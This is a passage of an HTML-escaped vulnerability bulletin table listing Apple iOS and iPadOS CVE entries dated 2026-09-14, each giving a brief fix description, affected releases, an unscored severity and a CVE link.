&lt;td&gt;A logic issue was addressed with improved validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27, watchOS 27. An app may be able to bypass network restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84551&quot; target=&quot;_blank&quot;&gt;CVE-2026-84551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84552&quot; target=&quot;_blank&quot;&gt;CVE-2026-84552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may gain unauthorized access to Bluetooth.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84560&quot; target=&quot;_blank&quot;&gt;CVE-2026-84560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A double free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84561&quot; target=&quot;_blank&quot;&gt;CVE-2026-84561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An uninitialized memory issue was addressed with improved memory initialization. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may result in disclosure of process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84564&quot; target=&quot;_blank&quot;&gt;CVE-2026-84564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A local attacker may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84566&quot; target=&quot;_blank&quot;&gt;CVE-2026-84566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84571&quot; target=&quot;_blank&quot;&gt;CVE-2026-84571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted file may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84575&quot; target=&quot;_blank&quot;&gt;CVE-2026-84575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84583&quot; target=&quot;_blank&quot;&gt;CVE-2026-84583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A use after free issue was addressed with improved memory management. This issue is fixed in iOS 27 and iPadOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84593&quot; target=&quot;_blank&quot;&gt;CVE-2026-84593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted font may result in the disclosure of process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84596&quot; target=&quot;_blank&quot;&gt;CVE-2026-84596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted font may result in the disclosure of process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84597&quot; target=&quot;_blank&quot;&gt;CVE-2026-84597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A path traversal issue was addressed with improved path validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27. An attacker with physical access to a trust-paired device may be able to read and write arbitrary files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84598&quot; target=&quot;_blank&quot;&gt;CVE-2026-84598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. A malicious shortcut may be able to send messages without user confirmation.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84600&quot; target=&quot;_blank&quot;&gt;CVE-2026-84600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A type confusion issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84602&quot; target=&quot;_blank&quot;&gt;CVE-2026-84602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84603&quot; target=&quot;_blank&quot;&gt;CVE-2026-84603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A privacy issue was addressed with improved handling of identifiers. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. An app may be able to identify a user across reinstalls.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84606&quot; target=&quot;_blank&quot;&gt;CVE-2026-84606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A sandboxed app may be able to execute arbitrary code with kernel privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84607&quot; target=&quot;_blank&quot;&gt;CVE-2026-84607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved path validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to modify protected system files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84609&quot; target=&quot;_blank&quot;&gt;CVE-2026-84609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84611&quot; target=&quot;_blank&quot;&gt;CVE-2026-84611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved access control. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to read persistent device identifiers.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84612&quot; target=&quot;_blank&quot;&gt;CVE-2026-84612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, tvOS 27, visionOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84615&quot; target=&quot;_blank&quot;&gt;CVE-2026-84615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84616&quot; target=&quot;_blank&quot;&gt;CVE-2026-84616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84617&quot; target=&quot;_blank&quot;&gt;CVE-2026-84617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84620&quot; target=&quot;_blank&quot;&gt;CVE-2026-84620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved access control. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84621&quot; target=&quot;_blank&quot;&gt;CVE-2026-84621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A memory initialization issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app with root privileges may be able to read uninitialized kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84622&quot; target=&quot;_blank&quot;&gt;CVE-2026-84622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27. An app may be able to fingerprint the device.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84623&quot; target=&quot;_blank&quot;&gt;CVE-2026-84623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved path validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. A sandboxed app may be able to access restricted files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84624&quot; target=&quot;_blank&quot;&gt;CVE-2026-84624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27, watchOS 27. An app may be able to fingerprint the user.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84625&quot; target=&quot;_blank&quot;&gt;CVE-2026-84625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to identify what other apps a user has installed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84626&quot; target=&quot;_blank&quot;&gt;CVE-2026-84626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. A sandboxed app may be able to access the System Keychain.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84628&quot; target=&quot;_blank&quot;&gt;CVE-2026-84628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with additional entitlement checks. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to fingerprint the user.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84629&quot; target=&quot;_blank&quot;&gt;CVE-2026-84629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84630&quot; target=&quot;_blank&quot;&gt;CVE-2026-84630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84632&quot; target=&quot;_blank&quot;&gt;CVE-2026-84632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84636&quot; target=&quot;_blank&quot;&gt;CVE-2026-84636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, macOS Golden Gate 27. Processing a maliciously crafted image may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86869&quot; target=&quot;_blank&quot;&gt;CVE-2026-86869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A heap buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27, watchOS 27. Processing a maliciously crafted file may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86870&quot; target=&quot;_blank&quot;&gt;CVE-2026-86870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. A sandboxed process may be able to circumvent sandbox restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86876&quot; target=&quot;_blank&quot;&gt;CVE-2026-86876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86878&quot; target=&quot;_blank&quot;&gt;CVE-2026-86878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A denial-of-service issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27. A remote attacker may be able to cause a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86879&quot; target=&quot;_blank&quot;&gt;CVE-2026-86879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A certificate validation issue was addressed with improved certificate validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An attacker with a compromised intermediate certificate authority may be able to issue certificates with arbitrary extended key usages.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86881&quot; target=&quot;_blank&quot;&gt;CVE-2026-86881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected process termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
